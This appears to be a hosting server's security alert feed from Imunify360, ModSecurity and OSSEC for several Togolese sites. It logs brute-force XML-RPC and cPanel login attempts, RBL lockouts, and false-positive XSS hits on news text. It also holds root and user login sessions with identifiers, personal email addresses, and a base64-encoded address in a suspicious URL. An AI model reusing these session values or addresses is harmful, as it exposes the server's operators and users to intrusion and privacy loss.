103.108.92.94 - - [15/Jun/2026:13:50:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">\xc3\x80 la veille du 66e anniversaire, le pr\xc3\xa9sident du conseil a raviv\xc3\xa9 la flamme au monument des martyrs. une c\xc3\xa9r\xc3\xa9monie empreinte d\xe2\x80\x99\xc3\xa9motion qui lance officiellement les festivit\xc3\xa9s.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">ce geste symbolique rend hommage aux p\xc3\xa8res de l\xe2\x80\x99ind\xc3\xa9pendance et aux sacrifices consentis pour la souverainet\xc3\xa9 nationale.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les autorit\xc3\xa9s ont appel\xc3\xa9 \xc3\xa0 la r\xc3\xa9flexion sur le sens profond de cette ind\xc3\xa9pendance.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les togolais se pr\xc3\xa9parent maintenant \xc3\xa0 c\xc3\xa9l\xc3\xa9brer dans la joie et la dignit\xc3\xa9.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:50:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.53
country_id: 6252001
description:
205.169.39.53 - - [15/Jun/2026:13:51:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6788758&pdata=https%253A%252F%252Fwww.haplucia-togo.tg%252Fwp-content%252Fuploads%252F2025%252F05%252FCONVENTION-DE-LUNION-AFRICAINE-SUR-LA-LUTTE-CONTRE-LA-CORRUPTION.pdf&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531516 HTTP/2.0" 302 0 www.haplucia-togo.tg "https://www.haplucia-togo.tg/wp-content/uploads/2025/05/CONVENTION-DE-LUNION-AFRICAINE-SUR-LA-LUTTE-CONTRE-LA-CORRUPTION.pdf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.53


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.45.248.170
country_id: 6252001
domain: group-gci.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.17||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">des milliers de togolais ont assist\xc3\xa9 au traditionnel d\xc3\xa9fil\xc3\xa9 place des f\xc3\xaates pour c\xc3\xa9l\xc3\xa9brer l\xe2\x80\x99ind\xc3\xa9pendance. forces arm\xc3\xa9es, associations et jeunesse ont parad\xc3\xa9 dans une ambiance festive et disciplin\xc3\xa9e.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">le spectacle a mis en valeur la coh\xc3\xa9sion nationale et la modernit\xc3\xa9 des institutions togolaises. de nombreux invit\xc3\xa9s \xc3\xa9trangers \xc3\xa9taient pr\xc3\xa9sents.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cet \xc3\xa9v\xc3\xa9nement marque un moment fort de communion populaire.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les images de la journ\xc3\xa9e resteront grav\xc3\xa9es dans les m\xc3\xa9moires collectives.</span>||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 185.61.217.173
country_id: 2017370
domain: arse.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:e%gxLp8vJg8gkx8C.arse.tg||Method:wp.getUsersBlogs


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:13:55:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12935782&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531756 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:13:56:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13066904&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781531758 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 148.135.148.32
country_id: 6252001
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:148.135.148.32||TA:148.135.148.32||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">un drame survenu dans la soir\xc3\xa9e du 27 avril \xc3\xa0 k\xc3\xa9v\xc3\xa9, quartier a\xc5\x8b\xc9\x94\xcc\x83ve, a profond\xc3\xa9ment choqu\xc3\xa9 les habitants. un homme aurait tu\xc3\xa9 son ex-compagne et le fr\xc3\xa8re de celle-ci.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les forces de l\xe2\x80\x99ordre ont rapidement ouvert une enqu\xc3\xaate pour faire la lumi\xc3\xa8re sur les circonstances.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cet \xc3\xa9v\xc3\xa9nement tragique contraste avec l\xe2\x80\x99ambiance festive nationale. les autorit\xc3\xa9s appellent au calme et \xc3\xa0 la s\xc3\xa9r\xc3\xa9nit\xc3\xa9.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">la population locale exprime sa tristesse et appelle \xc3\xa0 la justice.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.192.97.29
country_id: 3469034
description:
Jun 15 13:59:53 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.192.97.29 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:00:23 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:00:24 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:59cc5804eb5fccd715abfbb579765e69d3f35f4c||Title:anokm71pjwwk2x||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0fb0decfee17367cc27e7738d5f80a4275679531||Title:81f7pqedi2bcjo||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [15/Jun/2026:14:03:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194823&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532222 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-annee-scolaire-2020-2021-les-cours-setendront-de-lundi-a-samedi-y-compris-les-mercredis-soir/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.146
country_id: 1880251
description:
47.128.96.146 - - [15/Jun/2026:14:04:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869465&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532252 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.146


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:05:12 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
47.128.96.202 - - [15/Jun/2026:14:04:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10054556&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532279 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.202


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.138
country_id: 1880251
description:
47.128.96.138 - - [15/Jun/2026:14:04:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015446&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeces-du-prince-philip%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532292 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deces-du-prince-philip/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8c9d734cb0a8edf1ba29cd43107b7c6da78d24ad||Title:7kekx6jloz4gokl||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:14:05:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">lom\xc3\xa9, 29 avril 2026 \xe2\x80\x93 les trois pays voisins poursuivent leurs efforts pour fluidifier les \xc3\xa9changes et maintenir la paix aux fronti\xc3\xa8res.\xc2\xa0</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">des discussions techniques sont en cours pour lever les obstacles persistants.\xc2\xa0</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">cette coop\xc3\xa9ration est vitale pour le d\xc3\xa9veloppement des communaut\xc3\xa9s frontali\xc3\xa8res.\xc2\xa0</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les autorit\xc3\xa9s expriment leur volont\xc3\xa9 de consolider ces relations de bon voisinage.</span>||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.4.64
country_id: 3017382
description:
[2026-06-15 14:05:21 +0000] info [cpaneld] 51.83.4.64 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.198
country_id: 3469034
description:
Jun 15 14:06:14 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.198 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.160
country_id: 1880251
description:
47.128.96.160 - - [15/Jun/2026:14:05:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143586&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532339 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.160


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a2b27fbd96c7dd21f9ddbe9501e783911e904d58||Title:hvshwc013dbu54m||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-15 09:08:04 +0000] info [webmaild] 196.171.122.34 - e.gbevon@davakconsulting.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun 15 07:10:44 ns5 auth[3905222]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 15 03:21:48 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.121
country_id: 3175395
description:
Jun 15 09:28:10 ns5 auth[3905222]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.121 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 128.199.123.37
country_id: 1880251
description:
[2026-06-15 11:12:01 +0000] info [cpaneld] 128.199.123.37 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 23.234.94.173
country_id: 6252001
description:
[2026-06-15 05:21:20 +0000] info [cpaneld] 23.234.94.173 - elmkvzcm "POST /cpsess5820959709/json-api/cpanel HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.222.205.196
country_id: 6252001
description:
2026-06-15 09:29:30 dovecot_login authenticator failed for H=([162.222.205.196]) [162.222.205.196]:60328: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.178.28.121
country_id: 2542007
description:
[2026-06-15 01:24:24 +0000] info [cpaneld] 160.178.28.121 - kvwytkkw "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kvwytkkw (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-15 08:46:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42282: 535 Incorrect authentication data (set_id=italy@ns5.netmaster.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2d6c0f533a35e39e7d9e6036db3f54141bf811e0||Title:ppc5zgm6giehwrdd||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 165.154.11.206
country_id: 2328926
description:
Jun 15 09:03:13 ns5 pure-ftpd[3994507]: (?@165.154.11.206) [INFO] New connection from 165.154.11.206


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 23.162.8.88
country_id: 6252001
description:
[2026-06-15 04:47:29 +0000] info [cpaneld] 23.162.8.88 NEW elmkvzcm:0SCRzNH6mpl0rZZ9 address=23.162.8.88,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.169.28.79
country_id: 2363686
description:
[2026-06-15 03:46:28 +0000] info [cpaneld] 196.169.28.79 - lhxhatyj "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-15 09:43:40 +0000] info [whostmgrd] 80.248.64.198 NEW root:Z4aTIBRgqupOxNfp address=80.248.64.198,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-15 03:07:17 +0000] info [cpaneld] 181.113.114.61 - cloudetr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cloudetr (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 173.249.253.230
country_id: 6252001
description:
[2026-06-15 00:26:11 +0000] info [cpaneld] 173.249.253.230 - elmkvzcm "GET /cpsess3718296808/frontend/jupiter/filemanager/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.132
country_id: 1880251
description:
47.128.96.132 - - [15/Jun/2026:14:07:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6657174&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-bac-1-les-resultats-de-lenseignement-general-deja-disponibles-voici-comment-consulter-par-telephone%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781532437 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-bac-1-les-resultats-de-lenseignement-general-deja-disponibles-voici-comment-consulter-par-telephone/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.132


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.85
country_id: 1269750
description:
Jun 15 05:02:35 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.26
country_id: 3865483
description:
Jun 15 01:38:27 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.77.198
country_id: 3469034
description:
Jun 15 14:06:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.77.198 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 194.5.82.39
country_id: 1880251
description:
194.5.82.39 - - [15/Jun/2026:09:00:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013081&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253Dd2FnZS5udWdyYWhhQGJpb2Zhcm1hLmNvLmlk&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781514010 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=d2FnZS5udWdyYWhhQGJpb2Zhcm1hLmNvLmlk" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:194.5.82.39


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.214.135
country_id: 933860
description:
Jun 15 07:40:29 ns5 auth[3905222]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.214.135 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.150
country_id: 3175395
description:
Jun 15 07:18:31 ns5 auth[3905222]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 15 02:23:03 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.142.159
country_id: 690791
description:
Jun 15 10:59:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.142.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:08:17 +0000] info [whostmgrd] 85.215.117.93 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 85.215.117.93
country_id: 2921044
description:
[2026-06-15 14:08:18 +0000] info [whostmgrd] 85.215.117.93 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fbd5a941e623606896d4c6b47c36f87a90004a1e||Title:a1p1i7tm90q6nlcmvx||RSV:8.17||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 46.203.230.210
country_id: 2077456
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:46.203.230.210||TA:46.203.230.210||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.130.231
country_id: 2363686
domain: togomedia24.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<span style=\"font-family: verdana, geneva, sans-serif;\">le bureau multi-pays c\xc3\xb4te d\xe2\x80\x99ivoire-togo de l\xe2\x80\x99unhcr a rendu publics ses chiffres au 30 avril. ils soulignent les efforts en mati\xc3\xa8re d\xe2\x80\x99assistance aux r\xc3\xa9fugi\xc3\xa9s et personnes d\xc3\xa9plac\xc3\xa9es.</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">ces donn\xc3\xa9es permettent d\xe2\x80\x99\xc3\xa9valuer les besoins et d\xe2\x80\x99orienter les interventions futures. le togo continue de jouer un r\xc3\xb4le important dans l\xe2\x80\x99accueil humanitaire r\xc3\xa9gional.\xc2\xa0</span>\r\n\r\n<span style=\"font-family: verdana, geneva, sans-serif;\">les partenaires saluent l\xe2\x80\x99engagement des autorit\xc3\xa9s togolaises sur ce dossier sensible.</span>||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4b6cb4a37a316dc2d52fff661346d11ca8f7b534||Title:fipdzomvvsbdpj||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 77.173.217.95
country_id: 2750405
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5d3a49bf12c67d5b63434c294ad9887db2add5db||Title:rz2nb95gs9gy0d8c||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.50.169.222
country_id: 6252001
description:
